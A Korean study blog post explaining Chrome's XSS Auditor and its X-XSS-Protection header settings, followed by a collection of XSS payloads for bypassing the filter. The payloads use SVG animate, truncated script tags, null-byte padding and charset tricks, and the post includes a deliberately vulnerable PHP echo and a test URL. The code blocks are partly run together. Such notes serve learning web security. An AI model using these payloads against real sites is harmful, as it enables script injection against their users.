-
Chrome Auditor Bypass#02. 기존공부/#02.3 웹해킹 2019. 6. 10. 12:06
1. Chrome Auditor
Chrome 브라우저 기반으로 XSS를 시도할 경우 ERR_BLOCKED_BY_XSS_AUDITOR 이란 문구가 뜨는 것을 확인할 수 있었을 것이다.
처리 비용은 URL(GET방식)과 POST방식으로 데이터를 전송할 때 ", >, <, ' 문자가 없을 경우 기본적으로 0이다. 그러나 이 4문자 중 하나가 발견될 경우 좀 더 heavy한 processing을 호출한다.
응답헤더를 통한 제어를 할 수 있으며
◎Auditor를 비활성화
X-XSS-Protection: 0
◎Auditor를 활성화하고 모드를 neuter으로 설정
X-XSS-Protection: 1
◎Auditor를 활성화하고 모드를 block으로 설정(Default)
X-XSS-Protection: 1; mode=block
CTRL+U를 통해 소스보기를 할 경우 XSS Auditor가 반영된 스크립트는 아래의 그림처럼 빨간색으로 표시되어 보여진다.
Chrome XSS Auditor 코드는 아래의 URL에서 확인할 수 있다.
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/parser/xss_auditor.h
2. Chrome XSS Auditor Bypass
2.1 Chrome XSS-Auditor Bypass
1<svg><animate xlink:href=#x attributeName=href values=javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>cs 2.2 Chrome v60 이하에서의 XSS-Auditor Bypass
123?c=<svg><animate href=#x attributeName=href values= javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>// or?c=<svg width=10000px height=10000px><a><rect width=10000px height=10000px z-index=9999999 /><animate attributeName=href values=javascript:alert(1)>cs 12<script>alert(1)</scriptcs 1<script>alert(1)%0d%0a-->%09</scriptcs 1<x>%00%00%00%00%00%00%00<script>alert(1)</script>cs 2.4 Chrome 59123<?phpheader('X-XSS-Protection: 1; mode=block');echo "<!DOCTYPE html><html><head></head><body>{$_GET['html']} </body></html>";cs 1http://mhz.pw/game/xss/xss2.php?html=%3Cscript%3Ealert%28%29%3C/scriptcs 2.5 문자 세트 Bypass1http://mhz.pw/game/xss/charset.php?xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3Ecs 2.6 javascript:Auditor는 href속성 내의 javascript를 XSS로 식별하지 않는다.3. 참고문서
댓글